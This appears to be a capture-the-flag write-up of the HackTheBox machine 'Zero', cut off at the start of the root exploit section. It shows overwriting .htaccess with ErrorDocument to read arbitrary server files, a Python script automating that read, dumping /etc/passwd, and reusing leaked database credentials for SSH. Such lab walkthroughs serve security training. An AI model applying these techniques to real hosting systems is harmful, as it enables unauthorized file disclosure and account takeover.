Zero

Zero is all about abusing Apache. It’s a hosting provide, where I can get an account with SFTP access to upload files to be holder in a path on the site. I’ll overwrite the .htaccess file and use it to read files from the file system. I’ll write a Python script to automate this, and read files to find a password in the website database connection information. With a shell, I’ll see a script running every minute that looks at the Apache process in the process list and runs apache2ctl to verify the configuration is good. I’ll fake a process name and overload an argument to get apache2ctl running on a config I control. I’ll show a partial file read, a failed attempt at command injection, and two ways to get a shell as root.

Box Info

Name Zero Zero
Play on HackTheBox
Release Date 12 Aug 2025
Retire Date 12 Aug 2025
OS Linux Linux
Base Points Insane [50]
First Blood User N/A (non-competitive)
First Blood Root N/A (non-competitive)
Creator jkr

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.234.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-07 01:33 UTC
...[snip]...
Scanned at 2025-08-07 01:33:45 UTC for 7s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.91 seconds
           Raw packets sent: 65970 (2.903MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ nmap -p 22,80 -sCV 10.129.234.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-07 01:34 UTC
Nmap scan report for 10.129.234.62
Host is up (0.090s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 85:7b:10:68:1b:90:b6:10:52:57:f1:a9:fd:18:eb:6c (RSA)
|   256 2e:61:8d:35:14:d6:92:3a:71:74:f7:80:ba:76:21:f3 (ECDSA)
|_  256 d0:8b:7d:83:72:24:9c:b7:8f:bf:78:f9:16:05:8b:d9 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Page moved.
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.14 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 20.04 focal.

All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

Website - TCP 80

Site

The site is for a hosting provider:

image-20250806143357028 expand

The page mentions using SFTP for upload, and hosting only static HTML pages.

The “Statistics” link (/stats.php) has some stats:

image-20250806144253317

The mention of web sockets is interesting. I don’t see any evidence of a web socket on this page.

The “Sign up today” button on the front page loads /signup.php:

image-20250806144440639

Clicking “Request credentials” returns a username and password:

image-20250806144552191

This looks very similar to the setup in Ten. I’ll add zero.vl to my local hosts file:

10.129.234.62 zero.vl

Its my site is located at /~zro-afb97e8f/, which is the given username prepended with “~”. Visiting shows a brick wall with a title bar of “Nothing here.”

Tech Stack

The page paths show that the site is built on PHP. The webserver is Apache, as shown by nmap and in the response headers:

HTTP/1.1 200 OK
Date: Wed, 06 Aug 2025 18:49:31 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sat, 19 Feb 2022 23:21:10 GMT
ETag: "cd-5d867412ce730-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 205
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

The 404 page is the default Apache 404:

image-20250806153001913

Directory Brute Force

I’ll run feroxbuster against the site, and include -x php since I know the site is PHP:

oxdf@hacky$ feroxbuster -u http://zero.vl -x php --dont-extract-links

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://zero.vl
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      269c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        9l       25w      205c http://zero.vl/
200      GET       75l      246w     3285c http://zero.vl/stats.php
200      GET      114l      400w     5173c http://zero.vl/index.php
200      GET      820l     4248w    72818c http://zero.vl/info.php
200      GET       89l      269w     3675c http://zero.vl/signup.php
301      GET        9l       28w      301c http://zero.vl/dist => http://zero.vl/dist/
[####################] - 2m     60000/60000   0s      found:6       errors:0
[####################] - 2m     30000/30000   275/s   http://zero.vl/ 
[####################] - 0s     30000/30000   326087/s http://zero.vl/dist/ => Directory listing (add --scan-dir-listings to scan) (remove --dont-extract-links to scan)

The only new page is /info.php, which presents a standard PHPinfo page:

Nothing of immediate note here.

SSH / SFTP - TCP 22

SSH

SFTP runs over SSH, so I’ll first check to see if I can just get a shell on the host:

oxdf@hacky$ sshpass -p 2699d1a5 ssh zro-afb97e8f@zero.vl
PTY allocation request failed on channel 0
This service allows sftp connections only.
Connection to 10.129.234.62 closed.

It fails. I cannot get a session. I’ll try telling it a command to run:

oxdf@hacky$ sshpass -p 2699d1a5 ssh zro-afb97e8f@zero.vl bash
This service allows sftp connections only.
oxdf@hacky$ sshpass -p 2699d1a5 ssh zro-afb97e8f@zero.vl id
This service allows sftp connections only.

-t will try to force a PTY, but it fails too:

oxdf@hacky$ sshpass -p 2699d1a5 ssh zro-afb97e8f@zero.vl -t bash
PTY allocation request failed on channel 0
oxdf@hacky$ sshpass -p 2699d1a5 ssh zro-afb97e8f@zero.vl -t id
PTY allocation request failed on channel 0

SFTP

It does work over SFTP:

oxdf@hacky$ sshpass -p 2699d1a5 sftp zro-afb97e8f@zero.vl
Connected to zero.vl.
sftp> 

It has a single folder:

sftp> ls -la
drwxr-xr-x    3 root     root         4096 Aug  6 19:02 .
drwxr-xr-x    3 root     root         4096 Aug  6 19:02 ..
drwxr-xr-x    2 1001     1001         4096 Aug  6 19:02 public_html

It has an HTML page and an .htaccess file:

sftp> cd public_html/
sftp> ls -la
drwxr-xr-x    2 1001     1001         4096 Aug  6 19:45 .
drwxr-xr-x    3 root     root         4096 Aug  6 19:45 ..
-rw-r--r--    1 root     root           49 Aug  6 19:45 .htaccess
-rw-r--r--    1 1001     1001          349 Feb 15  2019 index.html
sftp> get index.html 
Fetching /public_html/index.html to index.html
sftp> get .htaccess 
Fetching /public_html/.htaccess to .htaccess

The HTML file is the file that’s being served on “my” site:

<!DOCTYPE html>
<html>
<head>
<title>Nothing here.</title>
<style>body { margin:0; padding:0; background:url("/dist/img/abstract-architecture-attractive-988873.jpg") no-repeat center center fixed; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover; background-size: cover; }</style>
</head>
<body></body>
</html>

The .htaccess file sets a custom header:

oxdf@hacky$ cat .htaccess 
Header always set X-Zero-Customer 'zro-de834d1c'

That header is present in the response:

HTTP/1.1 200 OK
Date: Wed, 06 Aug 2025 19:53:48 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Zero-Customer: zro-de834d1c
Last-Modified: Fri, 15 Feb 2019 21:03:16 GMT
ETag: "15d-581f51a8d6d00-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 349
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html

Shell as zroadmin

Failures

PHP Upload

The most obvious way forward is to upload PHP and see if it executes. I’ll create a dummy PHP file:

<?php

echo "test";

When I upload this it works fine:

sftp> put test.php
Uploading test.php to /public_html/test.php

But it the site just returns the code, doesn’t execute it:

oxdf@hacky$ curl http://zero.vl/~zro-de834d1c/test.php
<?php

echo "test";

Alternative Extensions

I’ll try uploading that same file as some other common PHP extensions:

sftp> put test.php test.php3
Uploading test.php to /public_html/test.php3
sftp> put test.php test.php4
Uploading test.php to /public_html/test.php4
sftp> put test.php test.php5
Uploading test.php to /public_html/test.php5
sftp> put test.php test.php6
Uploading test.php to /public_html/test.php6
sftp> put test.php test.phps
Uploading test.php to /public_html/test.phps
sftp> put test.php test.inc
Uploading test.php to /public_html/test.inc

All but .phps return the raw file. .phps returns a 403.

.htaccess Enable PHP

If the site isn’t processing PHP pages in this directory, perhaps I can use .htaccess to make it. I’ll make a .htaccess file with an additional line:

oxdf@hacky$ cp .htaccess htaccess-php
oxdf@hacky$ vim htaccess-php
oxdf@hacky$ cat htaccess-php 
Header always set X-Zero-Customer 'zro-de834d1c'
AddHandler application/x-httpd-php .php

Trying to upload this on top of the existing .htaccess fails:

sftp> put htaccess-php .htaccess 
Uploading htaccess-php to /public_html/.htaccess
dest open "/public_html/.htaccess": Permission denied

That’s because the file is owned by root, and only writable by root:

sftp> ls -la 
drwxr-xr-x    2 1001     1001         4096 Aug  6 19:57 .
drwxr-xr-x    3 root     root         4096 Aug  6 19:45 ..
-rw-r--r--    1 root     root           49 Aug  6 19:45 .htaccess
-rw-r--r--    1 1001     1001          349 Feb 15  2019 index.html
-rw-rw-r--    1 1001     1001           20 Aug  6 19:57 test.inc
-rw-rw-r--    1 1001     1001           20 Aug  6 19:55 test.php
-rw-rw-r--    1 1001     1001           20 Aug  6 19:57 test.php3
-rw-rw-r--    1 1001     1001           20 Aug  6 19:57 test.php4
-rw-rw-r--    1 1001     1001           20 Aug  6 19:57 test.php5
-rw-rw-r--    1 1001     1001           20 Aug  6 19:57 test.php6
-rw-rw-r--    1 1001     1001           20 Aug  6 19:57 test.phps

I’ll notice that 1001 is the owner of all the files I’ve uploaded, as well as the current directory. That means I should be able to move files, even files I don’t own and can’t write. It works:

sftp> rename .htaccess .htaccess.bk
sftp> put htaccess-php .htaccess
Uploading htaccess-php to /public_html/.htaccess

Unfortunately, PHP still doesn’t execute.

File Read via .htaccess

POC

Now that I can control .htaccess, there are a lot more things to try. This post from re2libc talks about many different ways to abuse .htaccess files. None of them really worked on their own, but this section talked about using error pages to redirect users to a malicious site:

image-20250806155244955

What if instead of a remote site, I have the error page show a file? I’ll generate a .htaccess file to read /etc/passwd:

Header always set X-Zero-Customer 'zro-de834d1c'
ErrorDocument 404 %{file:/etc/passwd}

Now triggering a 404 response will return passwd:

oxdf@hacky$ curl http://zero.vl/~zro-de834d1c/0
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
mysql:x:113:119:MySQL Server,,,:/nonexistent:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
zroadmin:x:666:666::/home/zroadmin:/bin/bash
fwupd-refresh:x:114:121:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false
zro-de834d1c:x:1001:1001::/home/zro-de834d1c:/bin/false

Script

I’ll make a Python script to read files from the server:

# /// script
# requires-python = ">=3.12"
# dependencies = [
#     "paramiko",
#     "requests",
# ]
# ///
import sys
import paramiko
import requests


if len(sys.argv) != 5:
    print(f"usage: {sys.argv[0]} <host> <username> <password> <file to read>")
    sys.exit(1)

host, username, password, target_file = sys.argv[1:5]


def write_file(host, username, password, content):
    ssh_client = paramiko.SSHClient()
    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy)
    ssh_client.connect(hostname=host, port=22, username=username, password=password)
    sftp_client = ssh_client.open_sftp()
    target_path = "public_html/.htaccess"
    sftp_client.remove(target_path)
    with sftp_client.file(target_path, "wb") as remote_file:
        remote_file.write(content)


def read_file(host, username):
    resp = requests.get(f"http://{host}/~{username}/0xdf.whatever")
    assert resp.status_code == 404
    return resp.text


htcontent = f"ErrorDocument 404 %{{file:{target_file}}}".encode()

write_file(host, username, password, htcontent)
print(read_file(host, username))

The top metadata is added by uv add --script read_file.py paramiko requests, and then I can run with uv run --script read_file.py:

oxdf@hacky$ uv run --script read_file.py 
usage: read_file.py <host> <username> <password> <file to read>

It works:

oxdf@hacky$ uv run --script read_file.py zero.vl zro-de834d1c cbc6427b /etc/hosts
127.0.0.1 localhost

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts

Filesystem Enumeration

With a bit of guessing, I can find the web directory in /var/www/html:

oxdf@hacky$ uv run --script read_file.py zero.vl zro-de834d1c cbc6427b /var/www/html/index.php
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="Mark Otto, Jacob Thornton, and Bootstrap contributors">
    <meta name="generator" content="Jekyll v3.8.5">
    <title>Zero</title>

    <!-- Bootstrap core CSS -->
    <link href="/dist/css/bootstrap.min.css" rel="stylesheet" crossorigin="anonymous">

    <style>
      .bd-placeholder-img { font-size: 1.125rem; text-anchor: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; }
      @media (min-width: 768px) { .bd-placeholder-img-lg { font-size: 3.5rem; } }
    </style>
    <!-- Custom styles for this template -->
    <link href="carousel.css" rel="stylesheet">
  </head>
  <body>
    <header>
  <nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
    <a class="navbar-brand" href="/index.php">Zero</a>
    <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
      <span class="navbar-toggler-icon"></span>
    </button>
    <div class="collapse navbar-collapse" id="navbarCollapse">
      <ul class="navbar-nav mr-auto">
        <li class="nav-item active"><a class="nav-link" href="/index.php">Home<span class="sr-only">(current)</span></a></li>
        <li class="nav-item"><a class="nav-link" href="/stats.php">Statistics</a></li>
      </ul>
    </div>
  </nav>
</header>

<main role="main">

  <div id="myCarousel" class="carousel slide" data-ride="carousel">
    <ol class="carousel-indicators">
      <li data-target="#myCarousel" data-slide-to="0" class="active"></li>
      <li data-target="#myCarousel" data-slide-to="1"></li>
      <li data-target="#myCarousel" data-slide-to="2"></li>
    </ol>
    <div class="carousel-inner">
      <div class="carousel-item active">
        <img src="dist/img/ai-codes-coding-97077.jpg">
        <div class="container">
          <div class="carousel-caption text-left">
            <h1>Zero</h1>
            <p>There is no place like Zero - your free home page hoster.</p>
            <p><a class="btn btn-lg btn-primary" href="/signup.php" role="button">Sign up today</a></p>
          </div>
        </div>
      </div>
    </div>
    <a class="carousel-control-prev" href="#myCarousel" role="button" data-slide="prev">
      <span class="carousel-control-prev-icon" aria-hidden="true"></span>
      <span class="sr-only">Previous</span>
    </a>
    <a class="carousel-control-next" href="#myCarousel" role="button" data-slide="next">
      <span class="carousel-control-next-icon" aria-hidden="true"></span>
      <span class="sr-only">Next</span>
    </a>
  </div>


  <!-- Marketing messaging and featurettes
  ================================================== -->
  <!-- Wrap the rest of the page in another container to center all the content. -->

  <div class="container marketing">

    <!-- START THE FEATURETTES -->

    <div class="row featurette">
      <div class="col-md-7">
        <h2 class="featurette-heading">Secure SFTP Upload.<span class="text-muted"> WTF!</span></h2>
        <p class="lead">We provide secure upload to your account using industry standard strong encryption algorithms. No one can spy on your password. No one will see what precious files you upload.</p>
      </div>
      <div class="col-md-5">
        <img src="dist/img/cyber-security-cybersecurity-device-60504.jpg" width="400" height="400"><title>SSH</title>
      </div>
    </div>

    <hr class="featurette-divider">

    <div class="row featurette">
      <div class="col-md-7 order-md-2">
        <h2 class="featurette-heading">Static file hosting.<span class="text-muted"> Retro!</span></h2>
        <p class="lead">Like in the good old times! Fire up your Netscape Navigator 4.0 and browse your pages like in the last century! Use animated GIFs like in the 90s, upload Java applets for scrolling banners. Back to the roots!</p>
        <p class="lead">Sounds cool? It does - we allow old-school static HTML pages.</p>
      </div>
      <div class="col-md-5 order-md-1">
        <img src="dist/img/caffeine-coffee-cup-6347.jpg" width="400" height="400"><title>Coffee</title>
      </div>
    </div>

    <hr class="featurette-divider">

    <!-- /END THE FEATURETTES -->

  </div><!-- /.container -->


  <!-- FOOTER -->
  <footer class="container">
    <p class="float-right"><a href="#">Back to top</a></p>
    <p>&copy; 2022 Zero, Dec. &middot; <a href="#">Privacy</a> &middot; <a href="#">Terms</a> &middot; <a href="attribution.php">Attribution</a></p>
  </footer>
</main>
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
      <script>window.jQuery || document.write('<script src="/docs/4.3/assets/js/vendor/jquery-slim.min.js"><\/script>')</script><script src="dist/js/bootstrap.bundle.min.js" crossorigin="anonymous"></script></body>
</html>

Nothing interesting there. signup.php is just a static page. It does have this JavaScript:

<script>
function requestCreds() {document.getElementById("credsbutton").disabled = true;
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200){
        document.getElementById("creds").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "/get-credentials-please-do-not-spam-this-thanks.php", true);                                                      
  xhttp.send();
}
</script>

/get-credentials-please-do-not-spam-this-thanks.php has the code for creating a user:

<?php
$username = "zro-" . substr(hash("sha256",rand()),0,8);
$password = substr(hash("sha256",rand()),0,8);
sleep(15); // This is only here so that you do not create too many users :)
header('X-Zero-Username: ' . $username);
header('X-Zero-Password: ' . $password);
echo('<p class="lead">Your personal account is ready to be used:<br><br>Username: <b>'.$username.'</b><br>Password: <b>'.$password.'</b><br><br>You can use the provided credentials to upload your pages via sftp://zero.vl. Your personal home page will be available <a href="http://zero.vl/~'.$username.'">here</a>.<br><br><font size="-1">It may take up to one minute for all backend processes to properly identify you.</font></p>');

This is interesting. It creates random username and password, but then just puts them in a header. It’s not clear where the user is actually created.

stats.php is mostly static, but the statistics themselves are generated with PHP:

<!doctype html>
<html lang="en">
...[snip]...
        <h2 class="featurette-heading">Statistics.<span class="text-muted"> 1+1!</span></h2>
        <?php
                $mysqli = new mysqli("localhost", "zroadmin", "correct-horse-battery-staple", "zro");
                $result = $mysqli->query("SELECT * FROM stats LIMIT 1");
                for ($row_no = $result->num_rows - 1; $row_no >= 0; $row_no--) {
                        $result->data_seek($row_no);
                        $row = $result->fetch_assoc();
                        print("<br>Registered users: <b>".$row['numuser']."</b>
                        <br>Number of pages hosted: <b>".$row['numpages']."</b>
                        <br>Number of open web sockets: <b>".$row['numsocks']."</b>
                        <br>System load average: <b>".$row['sysload']."</b>
                        <br>System uptime: <b>".$row['uptime']."</b>
                        <br>Number of admins logged in: <b>".$row['numadm']."</b>");
                }
        ?>
        <p class="lead"><?php include('stats.in.txt') ?></p>
...[snip]...
</html>

There’s no user input in the SQL query, so it isn’t a chance for SQL injection.

There is a username and password for the database connection (as well as classic XKCD Easter egg).

SSH

The creds work over SSH as well:

oxdf@hacky$ sshpass -p correct-horse-battery-staple ssh zroadmin@zero.vl
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-1084-aws x86_64)

 System information as of Wed Aug  6 20:46:03 UTC 2025

  System load:  0.08              Processes:             215
  Usage of /:   57.3% of 5.05GB   Users logged in:       0
  Memory usage: 7%                IPv4 address for eth0: 10.129.234.62
  Swap usage:   0%

  => There is 1 zombie process.
zroadmin@zero:~$ 

And I can claim user.txt:

zroadmin@zero:~$ cat user.txt
296a8815************************

Shell as root

Enumeration

Users

zroadmin can’t run sudo:

zroadmin@zero:~$ sudo -l
[sudo] password for zroadmin: 
Sorry, user zroadmin may not run sudo on zero.

Nothing interesting in zroadmin’s home directory:

zroadmin@zero:~$ find . -type f
./.bashrc
./.cache/motd.legal-displayed
./.bash_logout
./user.txt
./.profile

There are two other users with home directories in /home:

zroadmin@zero:/home$ ls
ubuntu  zro-de834d1c  zroadmin

ubuntu has a shell in passwd as well:

zroadmin@zero:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
zroadmin:x:666:666::/home/zroadmin:/bin/bash

zro-de834d1c doesn’t, but that’s the user created for the web. zroadmin can access it:

zroadmin@zero:/home/zro-de834d1c$ ls
public_html
zroadmin@zero:/home/zro-de834d1c$ find . -type f
./public_html/test.inc
./public_html/test.phps
./public_html/.htaccess
./public_html/test.php4
./public_html/test.php6
./public_html/htaccess
./public_html/test.php3
./public_html/.htaccess.bk
./public_html/test.php
./public_html/index.html
./public_html/test.php5

Nothing I didn’t create.

zroadmin can’t access ubuntu.

Web

There’s nothing new in the web directory beyond the files I already found:

zroadmin@zero:/var/www/html$ ls
attribution.php  dist                                                images.txt  index.php  signup.php
carousel.css     get-credentials-please-do-not-spam-this-thanks.php  index.html  info.php   stats.php

The Apache config for the site is as expected, except that it is logging the X-Zero-Username and X-Zero-Password to a file named accounts:

zroadmin@zero:/etc/apache2/sites-enabled$ cat 000-default.conf | grep -vP '^\s#' | grep .
<VirtualHost *:80>
        ServerAdmin webmaster@zero.vl
        DocumentRoot /var/www/html
        LogFormat "%{X-Zero-Username}o %{X-Zero-Password}o" accounts
        CustomLog ${APACHE_LOG_DIR}/accounts.log accounts
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

The o after the header name variables is for outgoing headers, so that file must be what is being watched and used to make new users. It’s going to be in /var/log/apache2, which I can’t access at this point.

Processes

Nothing really jumps out as interesting on the process list (ps auxww), so I’ll grab a copy of pspy and host it on my Python webserver, uploading it to Zero using wget:

zroadmin@zero:/dev/shm$ wget 10.10.14.79/pspy64
--2025-08-06 21:22:44--  http://10.10.14.79/pspy64
Connecting to 10.10.14.79:80... connected.      
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                            100%[============================>]   2.96M  4.46MB/s    in 0.7s    c

2025-08-06 21:22:45 (4.46 MB/s) - ‘pspy64’ saved [3104768/3104768]

I’ll make it executable and run it:

zroadmin@zero:/dev/shm$ chmod +x pspy64
zroadmin@zero:/dev/shm$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
...[snip]...

Every minute, there are crons that trigger:

2025/08/07 01:12:01 CMD: UID=0     PID=36191  | /usr/bin/bash /usr/local/bin/zro.web-confcheck 
2025/08/07 01:12:01 CMD: UID=0     PID=36192  | /usr/bin/bash /usr/local/bin/zro.web-confcheck 
2025/08/07 01:12:01 CMD: UID=0     PID=36193  | /usr/bin/bash /usr/local/bin/zro.web-confcheck 
2025/08/07 01:12:01 CMD: UID=0     PID=36194  | (snap) 
2025/08/07 01:12:01 CMD: UID=0     PID=36199  | /usr/bin/snap run amazon-ssm-agent 
2025/08/07 01:12:01 CMD: UID=0     PID=36213  | /usr/sbin/CRON -f 
2025/08/07 01:12:01 CMD: UID=0     PID=36212  | /usr/sbin/cron -f 
2025/08/07 01:12:01 CMD: UID=0     PID=36211  | /usr/sbin/CRON -f 
2025/08/07 01:12:01 CMD: UID=0     PID=36214  | /usr/sbin/CRON -f 
2025/08/07 01:12:01 CMD: UID=0     PID=36215  | /bin/bash /root/bin/create-account.sh 
2025/08/07 01:12:01 CMD: UID=0     PID=36216  | /usr/sbin/CRON -f 
2025/08/07 01:12:01 CMD: UID=0     PID=36217  | /bin/bash /root/bin/create-account.sh 
2025/08/07 01:12:01 CMD: UID=0     PID=36218  | /bin/bash /root/bin/create-account.sh 
2025/08/07 01:12:01 CMD: UID=0     PID=36220  | /bin/bash /root/bin/create-account.sh 
2025/08/07 01:12:01 CMD: UID=0     PID=36219  | 
2025/08/07 01:12:01 CMD: UID=0     PID=36222  | /usr/sbin/CRON -f 
2025/08/07 01:12:01 CMD: UID=0     PID=36221  | /usr/bin/python3 /root/bin/cleanup.py 
2025/08/07 01:12:01 CMD: UID=0     PID=36223  | /bin/bash /root/bin/update-stats.sh 
2025/08/07 01:12:01 CMD: UID=0     PID=36224  | /bin/bash /root/bin/update-stats.sh 
2025/08/07 01:12:01 CMD: UID=0     PID=36225  | /bin/bash /root/bin/update-stats.sh 
2025/08/07 01:12:01 CMD: UID=0     PID=36227  | /usr/bin/wc -l 
2025/08/07 01:12:01 CMD: UID=0     PID=36226  | /usr/bin/find -P /home/zro-17fd6687/public_html /home/zro-1ff46dde/public_html /home/zro-516f1d47/public_html /home/zro-de834d1c/public_html -type f 
2025/08/07 01:12:01 CMD: UID=0     PID=36230  | /bin/bash /root/bin/update-stats.sh 
2025/08/07 01:12:01 CMD: UID=0     PID=36229  | /bin/ss -nt state established src :80 
2025/08/07 01:12:01 CMD: UID=0     PID=36228  | /bin/bash /root/bin/update-stats.sh 
2025/08/07 01:12:01 CMD: UID=0     PID=36232  | /bin/bash /root/bin/update-stats.sh 
2025/08/07 01:12:01 CMD: UID=0     PID=36231  | /bin/bash /root/bin/update-stats.sh 
2025/08/07 01:12:01 CMD: UID=0     PID=36233  | 
2025/08/07 01:12:02 CMD: UID=0     PID=36235  | /bin/bash /root/bin/update-stats.sh 
2025/08/07 01:12:02 CMD: UID=0     PID=36237  | /bin/sed -e s:.*,\(.*\) user.*:\1: 
2025/08/07 01:12:02 CMD: UID=0     PID=36236  | /bin/bash /root/bin/update-stats.sh 
2025/08/07 01:12:02 CMD: UID=0     PID=36239  | /bin/bash /root/bin/update-stats.sh 
2025/08/07 01:12:02 CMD: UID=0     PID=36238  | /bin/bash /root/bin/update-stats.sh 
2025/08/07 01:12:02 CMD: UID=0     PID=36240  | 
2025/08/07 01:12:02 CMD: UID=0     PID=36242  | /usr/bin/mysql -uzroadmin -pcorrect-horse-battery-staple zro 
2025/08/07 01:12:02 CMD: UID=0     PID=36241  | /bin/bash /root/bin/update-stats.sh

There’s a bunch of stuff running as root. Several scripts running from /root, but also /usr/local/bin/zro.web-confcheck.

zro.web-confcheck

This file is a shell script:

zroadmin@zero:/$ file /usr/local/bin/zro.web-confcheck 
/usr/local/bin/zro.web-confcheck: Bourne-Again shell script, ASCII text executable

It’s only 14 lines long:

#!/usr/bin/bash
RET=0
while read pid _cmd ; do
        # Replace apache2 with apache2ctl and add -t for test
        cmd="${_cmd/apache2/apache2ctl} -t"
        $cmd >/dev/null 2>&1
        RET=$?
done <<< $(/usr/bin/pgrep -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf")
if [[ $RET -eq 0 ]] ; then
        echo 'Configuration correct. \o/'
else
        echo 'Configuration broken. Please fix immediately!' >&2
fi
exit $RET

This script is running pgrep looking for a specific apache2 process running out of /opt/zroweb and looping over the results. pgrep looks at the process name for patterns, and with -f it looks at the full command line. -a returns the full command line, and -l says to return both the matched process pid and the command line.

There’s nothing in the process list that matches this full command, but a simpler example:

zroadmin@zero:~$ pgrep -lfa apache2
1115 /usr/sbin/apache2 -k start
28947 /usr/sbin/apache2 -k start
28948 /usr/sbin/apache2 -k start
28949 /usr/sbin/apache2 -k start
28950 /usr/sbin/apache2 -k start
28951 /usr/sbin/apache2 -k start

The loop will use bash replacement syntax to replace any instances of apache2 with apache2ctl, and then run the command. It check the return value for the last matched process and then prints the result. This script is designed to take the running Apache command and get it’s config and validate it.

Exploit Primitives

Fake Process Command Line

